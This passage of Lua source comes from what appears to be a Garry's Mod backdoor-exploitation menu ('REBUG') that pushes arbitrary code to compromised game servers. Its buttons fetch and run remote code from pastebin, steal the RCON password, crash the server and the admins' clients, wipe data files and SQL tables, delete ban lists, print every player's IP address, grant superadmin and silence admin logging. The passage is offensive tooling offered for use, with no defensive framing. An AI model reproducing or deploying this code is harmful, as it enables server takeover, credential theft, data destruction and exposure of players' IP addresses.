1707 noob.PostLua("for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end")
1708 end)
1709
1710 rebug.AddButton("LuaRun Code", Bar1, function()
1711 surface.PlaySound("buttons/button18.wav")
1712
1713 Derma_StringRequest("LuaRun String", "String", "", function(text)
1714 noob.PostLua([[RunString( ']] .. text .. [[' )]])
1715 end)
1716 end)
1717
1718 rebug.AddButton("Rainbow Physgun", Bar1, function()
1719 surface.PlaySound("buttons/button18.wav")
1720 noob.PostLua([[hook.Add("Think", "rainbowphysgun", function()
1721
1722 for k,ply in ipairs(player.GetAll()) do
1723
1724 local col = HSVToColor(CurTime() % 6 * 60, 1, 1)
1725
1726 ply:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
1727
1728 end
1729
1730 end)]])
1731 end)
1732
1733 rebug.AddButton("Rainbow Chat Spam", Bar1, function()
1734 surface.PlaySound("buttons/button18.wav")
1735
1736 Derma_StringRequest("Rainbow Chatspam", "Text", "", function(text)
1737 noob.PostLua([[
1738
1739 chat = {}
1740
1741 function chat.AddText(...)
1742
1743 net.Start("REBUG")
1744
1745 net.WriteTable({...})
1746
1747 net.Broadcast()
1748
1749 end
1750
1751 function AddTextPly(ply, ...)
1752
1753 net.Start("REBUG")
1754
1755 net.WriteTable({...})
1756
1757 net.Send(ply)
1758
1759 end
1760
1761 for k, v in pairs(player.GetAll()) do
1762
1763 v:SendLua('net.Receive("REBUG", function(len) chat.AddText(unpack(net.ReadTable()))end)')
1764
1765 end
1766
1767 timer.Create("gotEm", 0.8, 120, function()
1768
1769 local function ChatPrintRainbow(frequency, str)
1770
1771 local text = {}
1772
1773 for i = 1, #str do
1774
1775 table.insert(text, HSVToColor(i * frequency % 360, 1, 1))
1776
1777 table.insert(text, string.sub(str, i, i))
1778
1779 end
1780
1781 chat.AddText(unpack(text))
1782
1783 end
1784
1785 ChatPrintRainbow(10, "]] .. text .. [[")
1786
1787 end)]])
1788 end)
1789 end)
1790
1791 rebug.AddButton("Rainbow HUD", Bar1, function()
1792 surface.PlaySound("buttons/button18.wav")
1793 noob.PostLua([[if !rainbowscreen then
1794
1795 BroadcastLua("hook.Add('HUDPaint', 'rainbowscreen', function() local cin = math.sin(CurTime() * 10) * 255 surface.SetDrawColor(Color(cin, -cin, cin, 100)) surface.DrawRect(0, 0, ScrW(), ScrH()) end)")
1796
1797 rainbowscreen = true
1798
1799 else
1800
1801 BroadcastLua("hook.Remove('HUDPaint', 'rainbowscreen')")
1802
1803 rainbowscreen = false
1804
1805 end]])
1806 end)
1807
1808 rebug.AddButton("Rainbow Everything", Bar1, function()
1809 surface.PlaySound("buttons/button18.wav")
1810 noob.PostLua([[BroadcastLua("http.Fetch('https://pastebin.com/raw/gCG1pSNK',function(b,l,h,c)RunString(b)end,nil)")]])
1811 rprint("This may cause frame drop")
1812 end)
1813
1814 rebug.AddButton("Remove Bans", Bar1, function()
1815 surface.PlaySound("buttons/button18.wav")
1816 noob.PostLua([[if file.Exists("ulib/bans.txt", "DATA") then file.Delete("ulib/bans.txt") end]])
1817 end)
1818
1819 rebug.AddButton("Rave Music", Bar1, function()
1820 surface.PlaySound("buttons/button18.wav")
1821 noob.PostLua("BroadcastLua([[surface.PlaySound('music/hl1_song25_remix3.mp3')]])")
1822 end)
1823
1824 rebug.AddButton("Moan Steps", Bar1, function()
1825 surface.PlaySound("buttons/button18.wav")
1826 noob.PostLua([[if !moanstep then
1827
1828 hook.Add("PlayerFootstep", "oooh", function(ply)
1829
1830 ply:EmitSound("vo/npc/female01/pain0" .. math.random(1, 9) .. ".wav", 75, math.random(50, 100))
1831
1832 end)
1833
1834 moanstep = true
1835
1836 else
1837
1838 hook.Remove("PlayerFootstep", "oooh")
1839
1840 moanstep = false
1841
1842 end]])
1843 end)
1844
1845 rebug.AddButton("Open URL On Players", Bar1, function()
1846 surface.PlaySound("buttons/button18.wav")
1847
1848 Derma_StringRequest("URL On Players", "URL Link", "", function(str)
1849 noob.PostLua([==[local ply = str
1850
1851 ply:SendLua([[h=vgui.Create("DHTML")
1852
1853 h:SetSize(ScrW(),ScrH())
1854
1855 h:OpenURL(..str..)]])
1856
1857 ]==])
1858 end)
1859 end)
1860
1861 rebug.AddButton("Explode all vehicles", Bar1, function()
1862 surface.PlaySound("buttons/button18.wav")
1863 noob.PostLua([[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
1864
1865 local explo = ents.Create("env_explosion")
1866
1867 explo:SetPos(v:GetPos())
1868
1869 explo:SetKeyValue("iMagnitude", "300")
1870
1871 explo:Spawn()
1872
1873 explo:Activate()
1874
1875 explo:Fire("Explode", "", 0)
1876
1877 end
1878
1879 end]])
1880 end)
1881
1882 rebug.AddButton("Print All IP's", Bar1, function()
1883 surface.PlaySound("buttons/button18.wav")
1884 noob.PostLua([[
1885
1886 local id = ]] .. LocalPlayer():UserID() .. [[
1887
1888 for k, v in pairs( player.GetAll() ) do
1889
1890 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
1891
1892 end]])
1893 end)
1894
1895 rebug.AddButton("Toggle all doors", Bar1, function()
1896 surface.PlaySound("buttons/button18.wav")
1897 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
1898 end)
1899
1900 rebug.AddButton("Lock all doors", Bar1, function()
1901 surface.PlaySound("buttons/button18.wav")
1902 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("lock", "", 0) end end]])
1903 end)
1904
1905 rebug.AddButton("Unlock all doors", Bar1, function()
1906 surface.PlaySound("buttons/button18.wav")
1907 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
1908 end)
1909
1910 rebug.AddButton("Vaporize all players", Bar1, function()
1911 surface.PlaySound("buttons/button18.wav")
1912 noob.PostLua([[for k, v in pairs(player.GetAll()) do v:Remove() end]])
1913 end)
1914
1915 rebug.AddButton("FPP Unrestrict everything", Bar1, function()
1916 surface.PlaySound("buttons/button18.wav")
1917 noob.PostLua([[if FPP then
1918
1919 for k,v in pairs(FPP.Blocked) do
1920
1921 for r,g in pairs(v) do
1922
1923 RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
1924
1925 end
1926
1927 end
1928
1929 end]])
1930 end)
1931
1932 rebug.AddButton("Wipe data folder", Bar1, function()
1933 surface.PlaySound("buttons/button18.wav")
1934 noob.PostLua([[local files, directories = file.Find("*", "DATA") for k, v in pairs(files) do file.Delete(v) end]])
1935 end)
1936
1937 rebug.AddButton("Wipe SQL Tables", Bar1, function()
1938 surface.PlaySound("buttons/button18.wav")
1939 noob.PostLua([[MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)')]])
1940 end)
1941
1942 rebug.AddButton("ULX Unban SteamID", Bar1, function()
1943 surface.PlaySound("buttons/button18.wav")
1944
1945 Derma_StringRequest("ULX Unban SteamID", "SteamID", "", function(str)
1946 noob.PostLua([[local gae = ulx_logecho game.ConsoleCommand("ulx_logecho 0" .. "\n") game.ConsoleCommand("ulx unban " ..str.. "\n") game.ConsoleCommand("ulx_logecho " .. gae .. "\n")]])
1947 end)
1948 end)
1949
1950--[[-------------------------------------------------------------------------------------
1951Panels 3 : RCON Backdoors
1952----------------------------------------------------------------------------------------]]
1953 local List13 = vgui.Create("DPanelList", VoidPlate)
1954 List13:SetPos(235, 155)
1955 List13:SetSize(180, 430)
1956 List13:SetPadding(2)
1957 List13:SetSpacing(2)
1958 List13:EnableHorizontal(false)
1959 List13:EnableVerticalScrollbar(true)
1960 List13:SetName("")
1961
1962 List13.Paint = function(self, w, h)
1963 surface.SetDrawColor(Color(30, 30, 30))
1964 surface.DrawRect(0, 0, w, h)
1965 surface.SetDrawColor(21, 21, 21)
1966 surface.SetMaterial(upgrad)
1967 surface.SetDrawColor(o_color2)
1968 surface.SetMaterial(downgrad)
1969 surface.SetDrawColor(o_color2)
1970 surface.SetDrawColor(21, 21, 21, 255)
1971 surface.DrawOutlinedRect(0, 0, w, h)
1972 end
1973
1974 local item2 = vgui.Create("DPanelList", List13)
1975 item2:SetPos(10, 8)
1976 item2:SetSize(170, 420)
1977 item2:SetPadding(2)
1978 item2:SetSpacing(2)
1979 item2:EnableHorizontal(false)
1980 item2:EnableVerticalScrollbar(true)
1981 item2:SetName("")
1982 local scan = vgui.Create("DButton", VoidPlate)
1983 scan:SetFont("Trebuchet18")
1984 scan:SetText("Backdoor Scan")
1985 scan:SetTextColor(Color(255, 255, 255, 255))
1986 scan:SetPos(235, 637)
1987 scan:SetSize(180, 40)
1988
1989 scan.Paint = function(self, w, h)
1990 surface.SetDrawColor(Color(30, 30, 30))
1991 surface.DrawRect(0, 0, w, h)
1992 surface.SetDrawColor(21, 21, 21)
1993 surface.SetMaterial(upgrad)
1994 surface.SetDrawColor(o_color2)
1995 surface.SetMaterial(downgrad)
1996 surface.SetDrawColor(o_color2)
1997 surface.SetDrawColor(21, 21, 21, 255)
1998 surface.DrawOutlinedRect(0, 0, w, h)
1999 end
2000
2001 scan.DoClick = function()
2002 surface.PlaySound("buttons/button18.wav")
2003 CheckBackdoors()
2004 end
2005
2006 local Bar2 = vgui.Create("DScrollPanel", item2)
2007 Bar2:Dock(FILL)
2008 local sBar2 = Bar2:GetVBar()
2009
2010 function sBar2:Paint()
2011 end
2012
2013 function sBar2.btnUp:Paint()
2014 end
2015
2016 function sBar2.btnDown:Paint()
2017 end
2018
2019 function sBar2.btnGrip:Paint()
2020 end
2021
2022 -- RCON Backdoors
2023 rebug.AddButton("Rcon Stealer", Bar2, function()
2024 surface.PlaySound("buttons/button18.wav")
2025 noob.PostLua([[http.Fetch("https://pastebin.com/raw/HAvguiZk",function(b,l,h,c)RunString(b)end,nil)]])
2026
2027 timer.Simple(0.5, function()
2028 if CheckIfStringExists("rvac.jeveuttonrconleul") then
2029 net.Start("rvac.jeveuttonrconleul")
2030 net.SendToServer()
2031 else
2032 chat.AddText(Color(255, 0, 0), "RCON password not found, try again")
2033 end
2034 end)
2035
2036 net.Receive("rvac.rcon_passw_dump", function()
2037 local rcon_pass = net.ReadString()
2038 chat.AddText(Color(255, 0, 0), "[", "REBUG", "] ", Color(20, 150, 200), "" .. rcon_pass)
2039 end)
2040
2041 net.Receive("rvac.aucun_rcon_ici", function()
2042 chat.AddText(Color(255, 0, 0), "[", "REBUG", "] ", Color(220, 100, 100), "RCON not found in cfg folder :(")
2043 end)
2044 end)
2045
2046 rebug.AddButton("Crash Server", Bar2, function()
2047 surface.PlaySound("buttons/button18.wav")
2048 noob.PostLua([[while true do end]])
2049 rprint("The server has been crashed gg")
2050 end)
2051
2052 rebug.AddButton("Crash Admins", Bar2, function()
2053 surface.PlaySound("buttons/button18.wav")
2054 noob.PostLua("for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end")
2055 end)
2056
2057 rebug.AddButton("Reset all money", Bar2, function()
2058 surface.PlaySound("buttons/button18.wav")
2059 noob.PostLua([[RunConsoleCommand("rp_resetallmoney")]])
2060 end)
2061
2062 rebug.AddButton("SV ClientSide", Bar2, function()
2063 surface.PlaySound("buttons/button18.wav")
2064 noob.PostLua([[RunConsoleCommand("sv_allowcslua","1")]])
2065 end)
2066
2067 rebug.AddButton("SV Password", Bar2, function()
2068 surface.PlaySound("buttons/button18.wav")
2069 noob.PostLua([[RunConsoleCommand("sv_password", "rvac.cc")]])
2070 end)
2071
2072 rebug.AddButton("LogEcho", Bar2, function()
2073 surface.PlaySound("buttons/button18.wav")
2074 noob.PostLua([[RunConsoleCommand("ulx", "logecho", "0")]])
2075 end)
2076
2077 rebug.AddButton("SV Cheats", Bar2, function()
2078 surface.PlaySound("buttons/button18.wav")
2079 noob.PostLua([[RunConsoleCommand('sv_cheats','1')]])
2080 end)
2081
2082 rebug.AddButton("SV Friction", Bar2, function()
2083 surface.PlaySound("buttons/button18.wav")
2084 noob.PostLua([[RunConsoleCommand('sv_friction', '8')]])
2085 end)
2086
2087 rebug.AddButton("SV Gravity", Bar2, function()
2088 surface.PlaySound("buttons/button18.wav")
2089 noob.PostLua([[RunConsoleCommand('sv_gravity', '-600')]])
2090 end)
2091
2092 rebug.AddButton("+Direction", Bar2, function()
2093 surface.PlaySound("buttons/button18.wav")
2094
2095 Derma_StringRequest("+Direction", "e.g +right / +left", "", function(str)
2096 noob.PostLua("for k,v in pairs(player.GetAll()) do v:ConCommand(" .. str .. ")end")
2097 end)
2098 end)
2099
2100 rebug.AddButton("2D Players", Bar2, function()
2101 surface.PlaySound("buttons/button18.wav")
2102 noob.PostLua([[
2103 for k,v in pairs(player.GetAll()) do
2104 local a = v:LookupBone("ValveBiped.Bip01_Head1")
2105 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
2106 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
2107 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
2108 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
2109 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
2110 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
2111 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
2112 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
2113 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
2114 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
2115 v:ManipulateBoneScale( a, Vector(4,0,4))
2116 v:ManipulateBoneScale( b, Vector(0,0,0))
2117 v:ManipulateBoneScale( c, Vector(0,0,0))
2118 v:ManipulateBoneScale( d, Vector(0,0,1))
2119 v:ManipulateBoneScale( e, Vector(0,0,1))
2120 v:ManipulateBoneScale( f, Vector(0,0,0))
2121 v:ManipulateBoneScale( g, Vector(0,0,0))
2122 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
2123 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
2124 v:ManipulateBoneScale( j, Vector(0,0,0))
2125 v:ManipulateBoneScale( k, Vector(0,0,0))
2126 end]])
2127 end)
2128
2129 rebug.AddButton("Giant Players", Bar2, function()
2130 surface.PlaySound("buttons/button18.wav")
2131 noob.PostLua([[
2132 hook.Add("Think", "tall", function()
2133 for k,v in pairs (player.GetAll()) do
2134 v:SetModelScale(0.2, 80);
2135 v:SetRunSpeed(400 * 2);
2136 v:SetWalkSpeed(200 * 2);
2137 end
2138 end)]])
2139 end)
2140
2141 rebug.AddButton("Speed Hack All", Bar2, function()
2142 surface.PlaySound("buttons/button18.wav")
2143 noob.PostLua([[
2144 hook.Add("Think", "speedhack", function()
2145 for k,v in pairs (player.GetAll()) do
2146 v:SetRunSpeed(400* 4);
2147 v:SetWalkSpeed(200 * 2);
2148 end
2149 end)]])
2150 end)
2151
2152 rebug.AddButton("Force Say All", Bar2, function()
2153 surface.PlaySound("buttons/button18.wav")
2154
2155 Derma_StringRequest("Force Say", "Make everyone say anything", "", function(str)
2156 noob.PostLua("for k,v in pairs(player.GetAll()) do v:ConCommand(" .. str .. ")end")
2157 end)
2158 end)
2159
2160 rebug.AddButton("Force Dance All", Bar2, function()
2161 surface.PlaySound("buttons/button18.wav")
2162 noob.PostLua([[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )]])
2163 end)
2164
2165 rebug.AddButton("Force Retry All", Bar2, function()
2166 surface.PlaySound("buttons/button18.wav")
2167 noob.PostLua([[
2168 for k,v in pairs(player.GetAll()) do
2169 v:ConCommand("retry")
2170 end]])
2171 end)
2172
2173 rebug.AddButton("Hostname Chance", Bar2, function()
2174 surface.PlaySound("buttons/button18.wav")
2175
2176 Derma_StringRequest("Hostname", "Chance server name to anything", "", function(str)
2177 noob.PostLua("RunConsoleCommand(\"ulx\", \"rcon\", \"hostname\", " .. str .. ")")
2178 end)
2179 end)
2180
2181 rebug.AddButton("Server Nuke (M9K)", Bar2, function()
2182 surface.PlaySound("buttons/button18.wav")
2183 noob.PostLua([[
2184 local rocket = ents.Create("m9k_launched_davycrockett")
2185 local ply2 = player.GetAll(]] .. selPly .. [[)
2186 rocket:SetPos(ply2:GetPos())
2187 rocket:SetOwner(ply2)
2188 rocket.Owner = ply2
2189 rocket:Spawn()
2190 rocket:Activate()]])
2191 end)
2192
2193--[[-------------------------------------------------------------------------------------
2194Panels 3 : Targeting
2195----------------------------------------------------------------------------------------]]
2196 local List3 = vgui.Create("DPanelList", VoidPlate)
2197 List3:SetPos(473, 155)
2198 List3:SetSize(180, 430)
2199 List3:SetPadding(2)
2200 List3:SetSpacing(2)
2201 List3:EnableHorizontal(false)
2202 List3:EnableVerticalScrollbar(true)
2203 List3:SetName("")
2204
2205 List3.Paint = function(self, w, h)
2206 surface.SetDrawColor(Color(30, 30, 30))
2207 surface.DrawRect(0, 0, w, h)
2208 surface.SetDrawColor(21, 21, 21)
2209 surface.SetMaterial(upgrad)
2210 surface.SetDrawColor(o_color2)
2211 surface.SetMaterial(downgrad)
2212 surface.SetDrawColor(o_color2)
2213 surface.SetDrawColor(21, 21, 21, 255)
2214 surface.DrawOutlinedRect(0, 0, w, h)
2215 end
2216
2217 local item3 = vgui.Create("DPanelList", List3)
2218 item3:SetPos(5, 8)
2219 item3:SetSize(170, 420)
2220 item3:SetPadding(2)
2221 item3:SetSpacing(2)
2222 item3:EnableHorizontal(false)
2223 item3:EnableVerticalScrollbar(true)
2224 item3:SetName("")
2225
2226 item3.Paint = function(self, w, h)
2227 surface.SetDrawColor(Color(30, 30, 30))
2228 surface.DrawRect(0, 0, w, h)
2229 surface.SetDrawColor(21, 21, 21)
2230 surface.SetDrawColor(35, 35, 35, 0)
2231 surface.DrawOutlinedRect(0, 0, w, h)
2232 end
2233
2234 local board = vgui.Create("DButton", VoidPlate)
2235 board:SetFont("Trebuchet18")
2236 board:SetText("SoundBoard")
2237 board:SetTextColor(Color(255, 255, 255, 255))
2238 board:SetPos(473, 637)
2239 board:SetSize(180, 40)
2240
2241 board.Paint = function(self, w, h)
2242 surface.SetDrawColor(Color(30, 30, 30))
2243 surface.DrawRect(0, 0, w, h)
2244 surface.SetDrawColor(21, 21, 21)
2245 surface.SetMaterial(upgrad)
2246 surface.SetDrawColor(o_color2)
2247 surface.SetMaterial(downgrad)
2248 surface.SetDrawColor(o_color2)
2249 surface.SetDrawColor(21, 21, 21, 255)
2250 surface.DrawOutlinedRect(0, 0, w, h)
2251 end
2252
2253 board.DoClick = function()
2254 soundboard()
2255 Void:SetVisible(false)
2256 end
2257
2258 local Bar3 = vgui.Create("DScrollPanel", item3)
2259 Bar3:Dock(FILL)
2260 local sBar3 = Bar3:GetVBar()
2261
2262 function sBar3:Paint()
2263 end
2264
2265 function sBar3.btnUp:Paint()
2266 end
2267
2268 function sBar3.btnDown:Paint()
2269 end
2270
2271 function sBar3.btnGrip:Paint()
2272 end
2273
2274 rebug.AddButton("Co Host Menu", Bar3, function()
2275 surface.PlaySound("buttons/button18.wav")
2276 --noob.PostLua([[Player(]] .. selPly .. [[):SendLua('http.Fetch("https://rvac.cc/log1n/menu.lua",function(b) RunString(b)end)')]])
2277 chat.AddText(Color(255, 0, 0), "[REBUG] ", Color(20, 150, 200), Color(255, 155, 155), " Feature disabled!")
2278 end)
2279
2280 rebug.AddButton("Set Superadmin", Bar3, function()
2281 surface.PlaySound("buttons/button18.wav")
2282 noob.PostLua([[Player(]] .. selPly .. [[):SetUserGroup("superadmin")]])
2283 end)
2284
2285 rebug.AddButton("Remove User", Bar3, function()
2286 surface.PlaySound("buttons/button18.wav")
2287 noob.PostLua([[Player(]] .. selPly .. [[):SetUserGroup("user"))]])
2288 end)
2289
2290 rebug.AddButton("Remove Props", Bar3, function()
2291 surface.PlaySound("buttons/button18.wav")
2292 noob.PostLua([[game.CleanUpMap(]] .. selPly .. [[)]])
2293 end)
2294
2295 rebug.AddButton("Enable Godmode", Bar3, function()
2296 surface.PlaySound("buttons/button18.wav")
2297 noob.PostLua([[Player(]] .. selPly .. [[):GodEnable()]])
2298 end)
2299
2300 rebug.AddButton("Disable Godmode", Bar3, function()
2301 surface.PlaySound("buttons/button18.wav")
2302 noob.PostLua([[Player(]] .. selPly .. [[):GodDisable()]])
2303 end)
2304
2305 rebug.AddButton("Kick Player", Bar3, function()
2306 surface.PlaySound("buttons/button18.wav")
2307 noob.PostLua([[Player(]] .. selPly .. [[):Kick("[CAC] Truth Engineering")]])
2308 end)
2309
2310 rebug.AddButton("Ban Player", Bar3, function()
2311 surface.PlaySound("buttons/button18.wav")
2312 noob.PostLua([[Player(]] .. selPly .. [[):Ban("[CAC] Kone dll Detected!")]])
2313 end)
2314
2315 rebug.AddButton("Freeze Player", Bar3, function()
2316 surface.PlaySound("buttons/button18.wav")
2317 noob.PostLua([[Player(]] .. selPly .. [[):Freeze(true)]])
2318 end)
2319
2320 rebug.AddButton("UnFreeze Player", Bar3, function()
2321 surface.PlaySound("buttons/button18.wav")
2322 noob.PostLua([[Player(]] .. selPly .. [[):Freeze(false)]])
2323 end)
2324
2325 rebug.AddButton("Ignite Player", Bar3, function()
2326 surface.PlaySound("buttons/button18.wav")
2327 noob.PostLua([[Player(]] .. selPly .. [[):Ignite(30,40)]])
2328 end)
2329
2330 rebug.AddButton("Drop Weapon", Bar3, function()
2331 surface.PlaySound("buttons/button18.wav")
2332 noob.PostLua([[Player(]] .. selPly .. [[):DropWeapon(Player(]] .. selPly .. [[):GetActiveWeapon())]])
2333 end)
2334
2335--[[-------------------------------------------------------------------------------------
2336Panels 4 : Player List
2337----------------------------------------------------------------------------------------]]
2338 local targeting = vgui.Create("DLabel", VoidPlate)
2339 targeting:SetFont("Trebuchet18")
2340 targeting:SetText("No Player Selected")
2341 targeting:SetTextColor(Color(255, 255, 255))
2342 targeting:SetPos(695, 663)
2343 targeting:SizeToContents()
2344 local List4 = vgui.Create("DPanelList", VoidPlate)
2345 List4:SetPos(693, 155)
2346 List4:SetSize(180, 502)
2347 List4:SetPadding(2)
2348 List4:SetSpacing(2)
2349 List4:EnableHorizontal(false)
2350 List4:EnableVerticalScrollbar(true)
2351 List4:SetName("")
2352
2353 List4.Paint = function(self, w, h)
2354 surface.SetDrawColor(Color(30, 30, 30))
2355 surface.DrawRect(0, 0, w, h)
2356 surface.SetDrawColor(21, 21, 21)
2357 surface.SetMaterial(upgrad)
2358 surface.SetDrawColor(o_color2)
2359 surface.SetMaterial(downgrad)
2360 surface.SetDrawColor(o_color2)
2361 surface.SetDrawColor(21, 21, 21, 255)
2362 surface.DrawOutlinedRect(0, 0, w, h)
2363 end
2364
2365 local item4 = vgui.Create("DPanelList", List4)
2366 item4:SetPos(5, 8)
2367 item4:SetSize(170, 486)
2368 item4:SetPadding(2)
2369 item4:SetSpacing(2)
2370 item4:EnableHorizontal(false)
2371 item4:EnableVerticalScrollbar(true)
2372 item4:SetName("")
2373
2374 item4.Paint = function(self, w, h)
2375 surface.SetDrawColor(Color(30, 30, 30))
2376 surface.DrawRect(0, 0, w, h)
2377 surface.SetDrawColor(21, 21, 21)
2378 surface.SetDrawColor(35, 35, 35, 0)
2379 surface.DrawOutlinedRect(0, 0, w, h)
2380 end
2381
2382 local Bar4 = vgui.Create("DScrollPanel", item4)
2383 Bar4:Dock(FILL)
2384 local sBar4 = Bar4:GetVBar()
2385
2386 function sBar4:Paint()
2387 end
2388
2389 function sBar4.btnUp:Paint()
2390 end
2391
2392 function sBar4.btnDown:Paint()
2393 end
2394
2395 function sBar4.btnGrip:Paint()
2396 end
2397
2398 for k, v in pairs(player.GetAll()) do
2399 rebug.AddButton(v:Name(), Bar4, function()
2400 selPly = v:UserID()
2401 targeting:SetText("Selected: " .. Player(selPly):Name())
2402 end)
2403 end
2404
2405--[[-------------------------------------------------------------------------------------
2406Menu Close Function
2407----------------------------------------------------------------------------------------]]
2408 function CloseMenu()
2409 MenuOpen = false
2410 Void:Close()
2411 end
2412 end
2413
2414 rebug.voidz(true)
2415end)
24161
2417Downloading1